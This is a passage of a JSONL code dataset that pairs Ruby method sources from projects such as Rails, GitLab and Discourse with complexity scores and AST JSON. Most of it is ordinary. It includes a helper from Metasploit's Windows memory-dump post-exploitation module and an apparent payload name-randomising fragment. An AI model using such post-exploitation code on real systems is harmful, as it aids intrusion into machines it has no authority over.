type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@init_class_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Init\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@init_class\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"Init\"]},{\"type\":\"ivar\",\"children\":[\"@init_class_name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f8a66658-3727-4cb7-afe5-9142a6ade24b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":383,"raw_source":"def test_include_multiple_columns_index\n with_example_table do\n @connection.add_index \"ex\", %w{ id }, name: \"include\", include: [:number, :data]\n index = @connection.indexes(\"ex\").find { |idx| idx.name == \"include\" }\n assert_equal [\"number\", \"data\"], index.include\n end\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_multiple_columns_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_example_table\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_index\",{\"type\":\"str\",\"children\":[\"ex\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"include\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"indexes\",{\"type\":\"str\",\"children\":[\"ex\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"include\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"str\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"include\"]}]}]}]}]}","id":"211d6b0d-d588-4a58-bdee-c7a1e295c51e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_versioning.rb","start_line":5,"raw_source":"def self.install!\n # The Sidekiq client API always adds the queue to the Sidekiq queue\n # list, but mail_room and gitlab-shell do not. This is only necessary\n # for monitoring.\n queues = ::Gitlab::SidekiqConfig.routing_queues\n if queues.any?\n # Allow unrouted calls as this operation is idempotent and can be safely performed\n # by all Sidekiq processes\n SidekiqSharding::Validator.allow_unrouted_sidekiq_calls do\n Sidekiq.redis do |conn|\n conn.multi do |multi|\n multi.del('queues')\n multi.sadd('queues', queues)\n end\n end\n end\n end\n rescue ::Redis::BaseError, SocketError, Errno::ENOENT, Errno::EADDRNOTAVAIL, Errno::EAFNOSUPPORT, Errno::ECONNRESET, Errno::ECONNREFUSED\n end","complexity_score":17.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"install!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queues\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqConfig\"]},\"routing_queues\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queues\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidekiqSharding\"]},\"Validator\"]},\"allow_unrouted_sidekiq_calls\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"multi\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multi\"]},\"del\",{\"type\":\"str\",\"children\":[\"queues\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multi\"]},\"sadd\",{\"type\":\"str\",\"children\":[\"queues\"]},{\"type\":\"lvar\",\"children\":[\"queues\"]}]}]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"BaseError\"]},{\"type\":\"const\",\"children\":[null,\"SocketError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EADDRNOTAVAIL\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EAFNOSUPPORT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]}]},null,null]},null]}]}","id":"1f3e2958-a0a1-483b-9960-3149c5776c2a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/memory_dump.rb","start_line":71,"raw_source":"def create_file(path)\n result = session.railgun.kernel32.CreateFileW(\n path,\n 'GENERIC_READ | GENERIC_WRITE',\n 0,\n nil,\n 'CREATE_ALWAYS',\n 0,\n 0\n )\n error = result['GetLastError']\n unless error == 0\n fail_with(Msf::Module::Failure::PayloadFailed, \"Unable to create file: #{result['ErrorMessage']}\")\n end\n result['return']\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"CreateFileW\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"GENERIC_READ | GENERIC_WRITE\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CREATE_ALWAYS\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GetLastError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to create file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]}]}","id":"d8edaf88-b5df-4c8a-96d5-a51e51d305b6"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/widgets_controller.rb","start_line":27,"raw_source":"def set_token\n @token = permitted_params[:cw_conversation]\n @auth_token_params = if @token.present?\n ::Widget::TokenService.new(token: @token).decode_token\n else\n {}\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cw_conversation\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@auth_token_params\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Widget\"]},\"TokenService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]}]}]},\"decode_token\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"bd0c50f7-d971-4496-b2be-f59a89b5ff8d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/unreachable_themes.rb","start_line":18,"raw_source":"def unreachable_themes\n @unreachable_themes ||= RemoteTheme.unreachable_themes\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unreachable_themes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unreachable_themes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoteTheme\"]},\"unreachable_themes\"]}]}]}","id":"10ca705c-2e04-45ee-9568-f0edd628458b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/application.rb","start_line":395,"raw_source":"def process_csp(env, input)\n input.gsub(\"!placeholder!\", env[:csp_nonce])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_csp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"!placeholder!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"csp_nonce\"]}]}]}]}","id":"1e795565-80f1-4a7b-91f7-eff54c45724a"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_settings_manager/float.rb","start_line":12,"raw_source":"def value=(new_value)\n super(self.class.cast(new_value))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"value=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}","id":"3e99d5f7-0b3e-4f97-88d8-21f4200aa2e7"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":327,"raw_source":"def unget(options = {})\n update!(options.merge(:state => STATE_READY, :handler => nil))\n @delivered_on = nil\n _log.info(\"#{MiqQueue.format_full_log_msg(self)}, Requeued\")\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unget\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[null,\"STATE_READY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handler\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@delivered_on\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"format_full_log_msg\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\", Requeued\"]}]}]}]}]}","id":"47db4e9e-ac1e-4aa3-aa2f-7715b8882aa8"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/range/compare_range.rb","start_line":41,"raw_source":"def include?(value)\n if value.is_a?(::Range)\n is_backwards_op = value.exclude_end? ? :>= : :>\n return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)\n # 1...10 includes 1..9 but it does not include 1..10.\n # 1..10 includes 1...11 but it does not include 1...12.\n operator = exclude_end? && !value.exclude_end? ? :< : :<=\n value_max = !exclude_end? && value.exclude_end? ? value.max : value.last\n super(value.first) && (self.end.nil? || value_max.public_send(operator, last))\n else\n super\n end\n end","complexity_score":45.7,"ast_json":"{\"type\":\"def\",\"children\":[\"include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_backwards_op\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"exclude_end?\"]},{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"sym\",\"children\":[\">\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"begin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"begin\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"is_backwards_op\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"end\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclude_end?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"exclude_end?\"]},\"!\"]}]},{\"type\":\"sym\",\"children\":[\"<\"]},{\"type\":\"sym\",\"children\":[\"<=\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value_max\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclude_end?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"exclude_end?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"last\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"first\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"end\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_max\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"operator\"]},{\"type\":\"send\",\"children\":[null,\"last\"]}]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1e21fbd4-1df4-4979-99b5-ec1e8931539d"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/socket_cache.rb","start_line":33,"raw_source":"def checkout_or(key)\n @mutex.synchronize do\n tsock = pick_socket(key)\n\n if tsock\n tsock.sock\n else\n sock = yield\n new_tsock = TimedSocket.new(timeout, key, sock)\n @log.debug(\"connect new socket #{new_tsock}\")\n\n @inflight_sockets[sock] = new_tsock\n new_tsock.sock\n end\n end\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_or\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tsock\",{\"type\":\"send\",\"children\":[null,\"pick_socket\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tsock\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tsock\"]},\"sock\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_tsock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimedSocket\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"connect new socket \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_tsock\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inflight_sockets\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"new_tsock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_tsock\"]},\"sock\"]}]}]}]}]}]}","id":"20b140d1-f81d-4e0d-bfed-5c46cc3f8af0"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/values/schemas/model.rb","start_line":39,"raw_source":"def ==(other)\n name == other.name &&\n type == other.type\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"type\"]}]}]}]}","id":"cf00b715-1e4b-40d6-a33b-0227432de60b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_begin.rb","start_line":217,"raw_source":"def valid_context_using_only_begin?(node)\n parent = node.parent\n\n valid_begin_assignment?(node) || parent&.post_condition_loop? ||\n parent&.send_type? || parent&.operator_keyword?\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_context_using_only_begin?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_begin_assignment?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"post_condition_loop?\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"send_type?\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"operator_keyword?\"]}]}]}]}","id":"fa445c65-47f7-416c-8f77-3c8f5f1d3835"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/notes_controller.rb","start_line":48,"raw_source":"def unresolve\n return render_404 unless note.resolvable?\n\n note.unresolve!\n\n render_json_with_notes_serializer\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"unresolve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note\"]},\"resolvable?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note\"]},\"unresolve!\"]},{\"type\":\"send\",\"children\":[null,\"render_json_with_notes_serializer\"]}]}]}","id":"9e92238a-58b2-4d7c-8fb5-c7e5da1388d8"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_formatter_single_value.rb","start_line":10,"raw_source":"def test_config_params\n d = create_driver\n assert_equal \"message\", d.instance.message_key\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"message_key\"]}]}]}]}","id":"a9f1c46a-ede4-40f1-b054-919b22236a5e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/access_tokens_actions.rb","start_line":86,"raw_source":"def create_params\n params.require(:resource_access_token).permit(:name, :expires_at, :description, :access_level, scopes: [])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"resource_access_token\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"9fe19527-900c-4185-8697-783ddc9957c7"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/discuz_x.rb","start_line":70,"raw_source":"def get_knowledge_about_group\n group_table = table_name \"common_usergroup\"\n result =\n mysql_query(\n \"SELECT groupid group_id, radminid role_id\n FROM #{group_table};\",\n )\n @moderator_group_id = []\n @admin_group_id = []\n #@banned_group_id = [4,5] # 禁止的用户及其帖子均不导入,如果你想导入这些用户和帖子,请把这个数组清空。\n\n result.each do |group|\n case group[\"role_id\"]\n when 1 # 管理员\n @admin_group_id << group[\"group_id\"]\n when 2,\n 3 # 超级版主、版主。如果你不希望原普通版主成为Discourse版主,把3去掉。\n @moderator_group_id << group[\"group_id\"]\n end\n end\n end","complexity_score":19.18,"ast_json":"{\"type\":\"def\",\"children\":[\"get_knowledge_about_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_table\",{\"type\":\"send\",\"children\":[null,\"table_name\",{\"type\":\"str\",\"children\":[\"common_usergroup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT groupid group_id, radminid role_id\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_table\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@moderator_group_id\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@admin_group_id\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"role_id\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@admin_group_id\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@moderator_group_id\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]}]}]},null]}]}]}]}","id":"48a9d6ac-fe79-4aa0-9872-25bd3c8123ea"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/time_entries/time_entry_collection_representer.rb","start_line":53,"raw_source":"def allowed_to_log_time?\n current_user.allowed_in_any_work_package?(:log_own_time) ||\n current_user.allowed_in_any_project?(:log_time)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_to_log_time?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"allowed_in_any_work_package?\",{\"type\":\"sym\",\"children\":[\"log_own_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"allowed_in_any_project?\",{\"type\":\"sym\",\"children\":[\"log_time\"]}]}]}]}","id":"cedc1f02-f08d-4ab6-a4f6-6725bc57bfee"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse.rb","start_line":532,"raw_source":"def self.cache\n @cache ||=\n begin\n if GlobalSetting.skip_redis?\n ActiveSupport::Cache::MemoryStore.new\n else\n Cache.new\n end\n end\n 